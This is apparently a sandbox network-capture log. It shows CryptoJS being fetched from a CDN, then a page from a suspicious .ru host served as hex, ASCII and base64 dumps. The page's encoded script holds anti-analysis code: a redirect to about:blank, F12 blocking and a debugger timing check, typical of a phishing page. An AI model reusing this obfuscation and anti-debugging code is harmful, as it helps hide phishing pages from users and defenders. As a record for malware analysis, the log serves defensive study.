2024-12-11 20:03:11 UTC	1369	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6f 3d 74 2e 61 6c 67 6f 2c 73 3d 5b 5d 2c 42 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 6e 2e 73 71 72 74 28 74 29 2c 72 3d 32 3b 72 3c 3d 65 3b 72 2b 2b 29 69 66 28 21 28 74 25 72 29 29 72 65 74 75 72 6e 3b 72 65 74 75 72 6e 20 31 7d 66 75 6e 63 74 69 6f 6e 20 65 28 74 29 7b 72 65 74 75 72 6e 20 34 32 39 34 39 36 37 32 39 36 2a 28 74 2d 28 30 7c 74 29 29 7c 30 7d 66 6f 72 28 76 61 72 20 72 3d 32 2c 69 3d 30 3b 69 3c 36 34 3b 29 74 28 72 29 26 26 28 69 3c 38 26 26 28 73 5b 69 5d 3d 65 28 6e 2e 70 6f 77 28 72 2c 2e 35 29 Data Ascii: function(n){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,o=t.algo,s=[],B=[];!function(){function t(t){for(var e=n.sqrt(t),r=2;r<=e;r++)if(!(t%r))return;return 1}function e(t){return 4294967296*(t-(0\|t))\|0}for(var r=2,i=0;i<64;)t(r)&&(i<8&&(s[i]=e(n.pow(r,.5)

Timestamp	Bytes transferred	Direction	Data
2024-12-11 20:03:12 UTC	386	OUT	GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 20:03:13 UTC	960	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 20:03:13 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03e2d-bb78" Last-Modified: Mon, 04 May 2020 16:09:17 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 191423 Expires: Mon, 01 Dec 2025 20:03:13 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QFxwNLEYYen2yLTxb7NKat89%2BaHcQ1NJAOE27mO1%2BxP1vQVU80tH4PjV5lT%2BCobhFHftXHw3dJ36ui5E8vYwmilThkzA3uVbdAWxwiKVjs%2BaLCzVWT6IU97x6v29hexrlTFUlcel"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8f0813a7b9bf41ef-EWR alt-svc: h3=":443"; ma=86400
2024-12-11 20:03:13 UTC	409	IN	Data Raw: 37 62 66 31 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 5b 5d 2c 65 29 3a 74 2e 43 72 79 70 74 6f 4a 53 3d 65 28 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 68 2c 74 2c 65 2c 72 2c 69 2c 6e 2c 66 2c 6f 2c 73 2c 63 2c 61 2c 6c 2c 64 2c 6d 2c 78 2c 62 2c 48 2c 7a 2c 41 2c 75 2c 70 2c 5f 2c 76 2c 79 2c 67 2c 42 2c 77 2c 6b 2c 53 2c 43 2c 44 2c 45 2c 52 2c 4d 2c 46 2c 50 2c 57 2c 4f 2c 49 2c 55 2c 4b 2c 58 2c 4c 2c 6a 2c 4e 2c 54 2c 71 2c 5a Data Ascii: 7bf1!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z
2024-12-11 20:03:13 UTC	1369	IN	Data Raw: 74 3d 77 69 6e 64 6f 77 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 26 26 28 74 3d 77 69 6e 64 6f 77 2e 6d 73 43 72 79 70 74 6f 29 2c 21 74 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 26 26 28 74 3d 67 6c 6f 62 61 6c 2e 63 72 79 70 74 6f 29 2c 21 74 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 72 65 71 75 69 72 65 29 74 72 79 7b 74 3d 72 65 71 75 69 72 65 28 22 63 72 79 70 74 6f 22 29 7d 63 61 74 63 68 28 74 29 7b 7d 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 69 66 28 74 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f Data Ascii: t=window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==typeo
2024-12-11 20:03:13 UTC	1369	IN	Data Raw: 3d 30 3b 6f 3c 6e 3b 6f 2b 2b 29 7b 76 61 72 20 73 3d 72 5b 6f 3e 3e 3e 32 5d 3e 3e 3e 32 34 2d 6f 25 34 2a 38 26 32 35 35 3b 65 5b 69 2b 6f 3e 3e 3e 32 5d 7c 3d 73 3c 3c 32 34 2d 28 69 2b 6f 29 25 34 2a 38 7d 65 6c 73 65 20 66 6f 72 28 6f 3d 30 3b 6f 3c 6e 3b 6f 2b 3d 34 29 65 5b 69 2b 6f 3e 3e 3e 32 5d 3d 72 5b 6f 3e 3e 3e 32 5d 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 73 69 67 42 79 74 65 73 2b 3d 6e 2c 74 68 69 73 7d 2c 63 6c 61 6d 70 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 77 6f 72 64 73 2c 65 3d 74 68 69 73 2e 73 69 67 42 79 74 65 73 3b 74 5b 65 3e 3e 3e 32 5d 26 3d 34 32 39 34 39 36 37 32 39 35 3c 3c 33 32 2d 65 25 34 2a 38 2c 74 2e 6c 65 6e 67 74 68 3d 6c 2e 63 65 69 6c 28 65 2f 34 29 7d 2c 63 6c 6f 6e 65 3a 66 75 6e 63 Data Ascii: =0;o<n;o++){var s=r[o>>>2]>>>24-o%48&255;e[i+o>>>2]\|=s<<24-(i+o)%48}else for(o=0;o<n;o+=4)e[i+o>>>2]=r[o>>>2];return this.sigBytes+=n,this},clamp:function(){var t=this.words,e=this.sigBytes;t[e>>>2]&=4294967295<<32-e%4*8,t.length=l.ceil(e/4)},clone:func
2024-12-11 20:03:13 UTC	1369	IN	Data Raw: 28 74 29 29 2c 74 68 69 73 2e 5f 64 61 74 61 2e 63 6f 6e 63 61 74 28 74 29 2c 74 68 69 73 2e 5f 6e 44 61 74 61 42 79 74 65 73 2b 3d 74 2e 73 69 67 42 79 74 65 73 7d 2c 5f 70 72 6f 63 65 73 73 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 2c 72 3d 74 68 69 73 2e 5f 64 61 74 61 2c 69 3d 72 2e 77 6f 72 64 73 2c 6e 3d 72 2e 73 69 67 42 79 74 65 73 2c 6f 3d 74 68 69 73 2e 62 6c 6f 63 6b 53 69 7a 65 2c 73 3d 6e 2f 28 34 2a 6f 29 2c 63 3d 28 73 3d 74 3f 6c 2e 63 65 69 6c 28 73 29 3a 6c 2e 6d 61 78 28 28 30 7c 73 29 2d 74 68 69 73 2e 5f 6d 69 6e 42 75 66 66 65 72 53 69 7a 65 2c 30 29 29 2a 6f 2c 61 3d 6c 2e 6d 69 6e 28 34 2a 63 2c 6e 29 3b 69 66 28 63 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 63 3b 68 2b 3d 6f 29 74 68 69 73 2e 5f 64 6f 50 72 6f 63 Data Ascii: (t)),this._data.concat(t),this._nDataBytes+=t.sigBytes},_process:function(t){var e,r=this._data,i=r.words,n=r.sigBytes,o=this.blockSize,s=n/(4o),c=(s=t?l.ceil(s):l.max((0\|s)-this._minBufferSize,0))o,a=l.min(4*c,n);if(c){for(var h=0;h<c;h+=o)this._doProc
2024-12-11 20:03:13 UTC	1369	IN	Data Raw: 3d 3d 3d 69 3f 69 3d 30 3a 2b 2b 69 29 3a 2b 2b 72 29 3a 2b 2b 65 2c 74 3d 30 2c 74 2b 3d 65 3c 3c 31 36 2c 74 2b 3d 72 3c 3c 38 2c 74 2b 3d 69 7d 65 6c 73 65 20 74 2b 3d 31 3c 3c 32 34 3b 72 65 74 75 72 6e 20 74 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 74 68 69 73 2e 5f 58 2c 65 3d 74 68 69 73 2e 5f 43 2c 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 66 74 5b 72 5d 3d 65 5b 72 5d 3b 65 5b 30 5d 3d 65 5b 30 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 74 68 69 73 2e 5f 62 7c 30 2c 65 5b 31 5d 3d 65 5b 31 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 30 5d 3e 3e 3e 30 3c 66 74 5b 30 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 32 5d 3d 65 5b 32 5d 2b 38 38 36 32 36 33 30 39 32 2b 28 65 5b 31 5d 3e 3e 3e 30 3c 66 74 5b 31 5d 3e 3e 3e 30 Data Ascii: ===i?i=0:++i):++r):++e,t=0,t+=e<<16,t+=r<<8,t+=i}else t+=1<<24;return t}function Rt(){for(var t=this._X,e=this._C,r=0;r<8;r++)ft[r]=e[r];e[0]=e[0]+1295307597+this._b\|0,e[1]=e[1]+3545052371+(e[0]>>>0<ft[0]>>>0?1:0)\|0,e[2]=e[2]+886263092+(e[1]>>>0<ft[1]>>>0
2024-12-11 20:03:13 UTC	1369	IN	Data Raw: 28 65 5b 34 5d 3e 3e 3e 30 3c 77 74 5b 34 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 36 5d 3d 65 5b 36 5d 2b 31 32 39 35 33 30 37 35 39 37 2b 28 65 5b 35 5d 3e 3e 3e 30 3c 77 74 5b 35 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 65 5b 37 5d 3d 65 5b 37 5d 2b 33 35 34 35 30 35 32 33 37 31 2b 28 65 5b 36 5d 3e 3e 3e 30 3c 77 74 5b 36 5d 3e 3e 3e 30 3f 31 3a 30 29 7c 30 2c 74 68 69 73 2e 5f 62 3d 65 5b 37 5d 3e 3e 3e 30 3c 77 74 5b 37 5d 3e 3e 3e 30 3f 31 3a 30 3b 66 6f 72 28 72 3d 30 3b 72 3c 38 3b 72 2b 2b 29 7b 76 61 72 20 69 3d 74 5b 72 5d 2b 65 5b 72 5d 2c 6e 3d 36 35 35 33 35 26 69 2c 6f 3d 69 3e 3e 3e 31 36 2c 73 3d 28 28 6e 2a 6e 3e 3e 3e 31 37 29 2b 6e 2a 6f 3e 3e 3e 31 35 29 2b 6f 2a 6f 2c 63 3d 28 28 34 32 39 34 39 30 31 37 36 30 26 69 29 2a 69 7c 30 Data Ascii: (e[4]>>>0<wt[4]>>>0?1:0)\|0,e[6]=e[6]+1295307597+(e[5]>>>0<wt[5]>>>0?1:0)\|0,e[7]=e[7]+3545052371+(e[6]>>>0<wt[6]>>>0?1:0)\|0,this._b=e[7]>>>0<wt[7]>>>0?1:0;for(r=0;r<8;r++){var i=t[r]+e[r],n=65535&i,o=i>>>16,s=((nn>>>17)+no>>>15)+oo,c=((4294901760&i)i\|0
2024-12-11 20:03:13 UTC	1369	IN	Data Raw: 2d 6f 25 34 2a 32 2c 61 3d 73 7c 63 3b 69 5b 6e 3e 3e 3e 32 5d 7c 3d 61 3c 3c 32 34 2d 6e 25 34 2a 38 2c 6e 2b 2b 7d 72 65 74 75 72 6e 20 68 2e 63 72 65 61 74 65 28 69 2c 6e 29 7d 28 74 2c 65 2c 69 29 7d 2c 5f 6d 61 70 3a 22 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 30 31 32 33 34 35 36 37 38 39 2b 2f 3d 22 7d 2c 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6e 3d 74 2e 61 6c 67 6f 2c 48 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 30 3b 74 3c 36 34 3b 74 2b 2b 29 48 5b 74 5d 3d 34 32 39 34 39 36 Data Ascii: -o%42,a=s\|c;i[n>>>2]\|=a<<24-n%48,n++}return h.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="},function(l){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,n=t.algo,H=[];!function(){for(var t=0;t<64;t++)H[t]=429496
2024-12-11 20:03:13 UTC	1369	IN	Data Raw: 41 28 53 2c 6d 2c 78 2c 62 2c 42 2c 35 2c 48 5b 32 38 5d 29 2c 62 3d 41 28 62 2c 53 2c 6d 2c 78 2c 61 2c 39 2c 48 5b 32 39 5d 29 2c 78 3d 41 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 34 2c 48 5b 33 30 5d 29 2c 53 3d 43 28 53 2c 6d 3d 41 28 6d 2c 78 2c 62 2c 53 2c 67 2c 32 30 2c 48 5b 33 31 5d 29 2c 78 2c 62 2c 66 2c 34 2c 48 5b 33 32 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 70 2c 31 31 2c 48 5b 33 33 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 79 2c 31 36 2c 48 5b 33 34 5d 29 2c 6d 3d 43 28 6d 2c 78 2c 62 2c 53 2c 77 2c 32 33 2c 48 5b 33 35 5d 29 2c 53 3d 43 28 53 2c 6d 2c 78 2c 62 2c 63 2c 34 2c 48 5b 33 36 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 6c 2c 31 31 2c 48 5b 33 37 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 36 2c 48 5b 33 38 5d 29 Data Ascii: A(S,m,x,b,B,5,H[28]),b=A(b,S,m,x,a,9,H[29]),x=A(x,b,S,m,u,14,H[30]),S=C(S,m=A(m,x,b,S,g,20,H[31]),x,b,f,4,H[32]),b=C(b,S,m,x,p,11,H[33]),x=C(x,b,S,m,y,16,H[34]),m=C(m,x,b,S,w,23,H[35]),S=C(S,m,x,b,c,4,H[36]),b=C(b,S,m,x,l,11,H[37]),x=C(x,b,S,m,u,16,H[38])
2024-12-11 20:03:13 UTC	1369	IN	Data Raw: 6f 6e 65 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 5f 68 61 73 68 3d 74 68 69 73 2e 5f 68 61 73 68 2e 63 6c 6f 6e 65 28 29 2c 74 7d 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 7a 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 72 7c 7e 65 26 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 41 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 69 7c 72 26 7e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 43 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 5e 72 5e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c Data Ascii: one.call(this);return t._hash=this._hash.clone(),t}});function z(t,e,r,i,n,o,s){var c=t+(e&r\|~e&i)+n+s;return(c<<o\|c>>>32-o)+e}function A(t,e,r,i,n,o,s){var c=t+(e&i\|r&~i)+n+s;return(c<<o\|c>>>32-o)+e}function C(t,e,r,i,n,o,s){var c=t+(e^r^i)+n+s;return(c<
2024-12-11 20:03:13 UTC	1369	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6f 3d 74 2e 61 6c 67 6f 2c 73 3d 5b 5d 2c 42 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 6e 2e 73 71 72 74 28 74 29 2c 72 3d 32 3b 72 3c 3d 65 3b 72 2b 2b 29 69 66 28 21 28 74 25 72 29 29 72 65 74 75 72 6e 3b 72 65 74 75 72 6e 20 31 7d 66 75 6e 63 74 69 6f 6e 20 65 28 74 29 7b 72 65 74 75 72 6e 20 34 32 39 34 39 36 37 32 39 36 2a 28 74 2d 28 30 7c 74 29 29 7c 30 7d 66 6f 72 28 76 61 72 20 72 3d 32 2c 69 3d 30 3b 69 3c 36 34 3b 29 74 28 72 29 26 26 28 69 3c 38 26 26 28 73 5b 69 5d 3d 65 28 6e 2e 70 6f 77 28 72 2c 2e 35 29 Data Ascii: function(n){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,o=t.algo,s=[],B=[];!function(){function t(t){for(var e=n.sqrt(t),r=2;r<=e;r++)if(!(t%r))return;return 1}function e(t){return 4294967296*(t-(0\|t))\|0}for(var r=2,i=0;i<64;)t(r)&&(i<8&&(s[i]=e(n.pow(r,.5)

Timestamp	Bytes transferred	Direction	Data
2024-12-11 20:03:14 UTC	652	OUT	GET /lypKAd/ HTTP/1.1 Host: wdii.cxbeurue.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-11 20:03:21 UTC	1224	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 20:03:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8K%2FXaKgQOgskEF17bs5FScXFqgxRbeE1aD73%2Bh9PX48foyBigLOSfJR00BNsYpe91GDhHU3v3%2FJl1SiVIkuVbkQsL2sIAQt1D2zWAJ%2FczndnM%2B7YeIrsRWbspDOnmQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1411&min_rtt=1405&rtt_var=408&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=1556&delivery_rate=2787043&cwnd=193&unsent_bytes=0&cid=54db73e2a52ecd3d&ts=6497&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6Im12cGZtSlF1eGtjQ2hlRmFDMW1nQXc9PSIsInZhbHVlIjoiWWljUGlPOEpWaE44Qm1Nd3NsZ1dUMEpMWVVqSlB5WThNMFZIRjk0R3Q2M2RkUEdsaXpHeXkzSjhOVXNRb3lTWHU4QWJ2YmpFR3hQc2JabjJVQ2I4OU1IT0RtSzI4OU9ndkxVd1g0M1VMdlFsRWdEU256SWxrQTZQY0V2QnQyQW4iLCJtYWMiOiIwMTkwNWMxZDQzY2ZlOWVlOWJhMjU3YTE4NzE1YmI5NTZhMWE1NjhiNmE3ZDRjNTFiMmFkMmZkYmEyNTNlYTE2IiwidGFnIjoiIn0%3D; expires=Wed, 11-Dec-2024 22:03:21 GMT; Max-Age=7200; path=/; secure; samesite=none
2024-12-11 20:03:21 UTC	733	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6b 78 5a 52 56 51 79 55 53 39 4b 53 58 64 30 56 79 74 47 56 57 70 6b 62 6d 6b 30 4c 30 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 52 6b 52 78 62 31 6c 74 56 7a 56 34 59 6c 4e 59 4e 6e 5a 32 54 54 67 33 56 31 42 53 4e 48 4d 78 4d 58 67 32 51 32 56 69 5a 58 68 74 53 57 64 4b 4e 7a 6c 49 55 56 4e 51 62 56 6c 68 65 46 70 4a 61 6a 6c 50 61 30 70 6a 53 58 70 42 61 32 5a 6e 4d 32 46 43 51 7a 56 36 63 6c 70 45 51 32 73 76 62 43 39 70 4e 32 5a 57 54 32 51 34 52 32 55 34 63 47 55 34 5a 6e 6c 44 4d 6d 52 6d 55 6d 38 34 64 54 5a 4d 59 6b 68 44 62 33 46 6d 59 30 78 58 4c 30 64 52 63 57 5a 53 62 32 55 78 51 31 68 48 61 6d 55 76 52 44 64 43 61 48 6f Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IkxZRVQyUS9KSXd0VytGVWpkbmk0L0E9PSIsInZhbHVlIjoiRkRxb1ltVzV4YlNYNnZ2TTg3V1BSNHMxMXg2Q2ViZXhtSWdKNzlIUVNQbVlheFpJajlPa0pjSXpBa2ZnM2FCQzV6clpEQ2svbC9pN2ZWT2Q4R2U4cGU4ZnlDMmRmUm84dTZMYkhDb3FmY0xXL0dRcWZSb2UxQ1hHamUvRDdCaHo
2024-12-11 20:03:21 UTC	1369	IN	Data Raw: 34 64 63 35 0d 0a 3c 21 2d 2d 20 53 75 63 63 65 73 73 20 69 73 20 6e 6f 74 20 69 6e 20 77 68 61 74 20 79 6f 75 20 68 61 76 65 2c 20 62 75 74 20 77 68 6f 20 79 6f 75 20 61 72 65 2e 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 53 75 63 63 65 73 73 20 6d 65 61 6e 73 20 64 6f 69 6e 67 20 74 68 65 20 62 65 73 74 20 77 65 20 63 61 6e 20 77 69 74 68 20 77 68 61 74 20 77 65 20 68 61 76 65 2e 20 53 75 63 63 65 73 73 20 69 73 20 74 68 65 20 64 6f 69 6e 67 2c 20 6e 6f 74 20 74 68 65 20 67 65 74 74 69 6e 67 3b 20 69 6e 20 74 68 65 20 74 72 79 69 6e 67 2c 20 6e 6f 74 20 74 68 65 20 74 72 69 75 6d 70 68 2e 20 2d 2d 3e 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 2f 2a 20 41 6c 6c 20 6f 75 72 20 64 72 65 61 6d 73 20 63 61 6e 20 63 6f 6d 65 20 74 72 75 65 20 69 66 20 77 65 20 68 61 76 65 20 Data Ascii: 4dc5... Success is not in what you have, but who you are. -->... Success means doing the best we can with what we have. Success is the doing, not the getting; in the trying, not the triumph. --><script>/* All our dreams can come true if we have
2024-12-11 20:03:21 UTC	1369	IN	Data Raw: 6e 62 30 6b 67 61 44 52 37 5a 6d 39 75 64 43 31 7a 61 58 70 6c 4f 6d 4e 68 62 47 4d 6f 4d 53 34 7a 4b 54 74 39 44 51 70 41 62 57 56 6b 61 57 45 67 4b 47 31 70 62 69 31 33 61 57 52 30 61 44 6f 78 4d 6a 41 77 63 48 67 70 65 77 30 4b 49 30 39 34 63 32 46 55 62 32 35 6e 62 30 6b 67 61 44 52 37 5a 6d 39 75 64 43 31 7a 61 58 70 6c 4f 6a 45 75 4e 58 4a 6c 62 54 74 39 44 51 70 39 44 51 6f 6a 54 33 68 7a 59 56 52 76 62 6d 64 76 53 53 42 77 65 32 31 68 63 6d 64 70 62 69 31 30 62 33 41 36 4d 44 74 74 59 58 4a 6e 61 57 34 74 59 6d 39 30 64 47 39 74 4f 6a 46 79 5a 57 30 37 66 51 30 4b 49 30 39 34 63 32 46 55 62 32 35 6e 62 30 6b 75 59 32 46 77 64 47 4e 6f 59 53 31 6a 62 32 35 30 59 57 6c 75 5a 58 4a 37 63 47 39 7a 61 58 52 70 62 32 34 36 49 48 4a 6c 62 47 46 30 61 58 Data Ascii: nb0kgaDR7Zm9udC1zaXplOmNhbGMoMS4zKTt9DQpAbWVkaWEgKG1pbi13aWR0aDoxMjAwcHgpew0KI094c2FUb25nb0kgaDR7Zm9udC1zaXplOjEuNXJlbTt9DQp9DQojT3hzYVRvbmdvSSBwe21hcmdpbi10b3A6MDttYXJnaW4tYm90dG9tOjFyZW07fQ0KI094c2FUb25nb0kuY2FwdGNoYS1jb250YWluZXJ7cG9zaXRpb246IHJlbGF0aX
2024-12-11 20:03:21 UTC	1369	IN	Data Raw: 4b 53 42 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 48 64 70 62 6d 52 76 64 79 35 73 62 32 4e 68 64 47 6c 76 62 69 41 39 49 43 4a 68 59 6d 39 31 64 44 70 69 62 47 46 75 61 79 49 37 44 51 70 39 44 51 70 6b 62 32 4e 31 62 57 56 75 64 43 35 68 5a 47 52 46 64 6d 56 75 64 45 78 70 63 33 52 6c 62 6d 56 79 4b 43 64 72 5a 58 6c 6b 62 33 64 75 4a 79 77 67 5a 6e 56 75 59 33 52 70 62 32 34 6f 5a 58 5a 6c 62 6e 51 70 49 48 73 4e 43 69 41 67 49 43 42 70 5a 69 41 6f 5a 58 5a 6c 62 6e 51 75 61 32 56 35 51 32 39 6b 5a 53 41 39 50 54 30 67 4d 54 49 7a 4b 53 42 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 56 32 5a 57 35 30 4c 6e 42 79 5a 58 5a 6c 62 6e 52 45 5a 57 5a 68 64 57 78 30 4b 43 6b 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 48 4a 6c 64 48 56 79 62 69 42 6d 59 57 78 Data Ascii: KSB7DQogICAgICAgIHdpbmRvdy5sb2NhdGlvbiA9ICJhYm91dDpibGFuayI7DQp9DQpkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdrZXlkb3duJywgZnVuY3Rpb24oZXZlbnQpIHsNCiAgICBpZiAoZXZlbnQua2V5Q29kZSA9PT0gMTIzKSB7DQogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQogICAgICAgIHJldHVybiBmYWx
2024-12-11 20:03:21 UTC	1369	IN	Data Raw: 58 51 67 52 30 39 55 54 45 74 6d 61 58 4e 4e 61 43 41 39 49 47 5a 68 62 48 4e 6c 4f 77 30 4b 49 43 41 67 49 47 4e 76 62 6e 4e 30 49 47 5a 74 51 6c 6c 79 5a 56 64 45 65 6d 45 67 50 53 41 78 4d 44 41 37 44 51 6f 67 49 43 41 67 63 32 56 30 53 57 35 30 5a 58 4a 32 59 57 77 6f 5a 6e 56 75 59 33 52 70 62 32 34 6f 4b 53 42 37 44 51 6f 67 49 43 41 67 49 43 41 67 49 47 4e 76 62 6e 4e 30 49 47 31 73 57 6c 42 56 65 6e 46 61 5a 45 77 67 50 53 42 77 5a 58 4a 6d 62 33 4a 74 59 57 35 6a 5a 53 35 75 62 33 63 6f 4b 54 73 4e 43 69 41 67 49 43 41 67 49 43 41 67 5a 47 56 69 64 57 64 6e 5a 58 49 37 44 51 6f 67 49 43 41 67 49 43 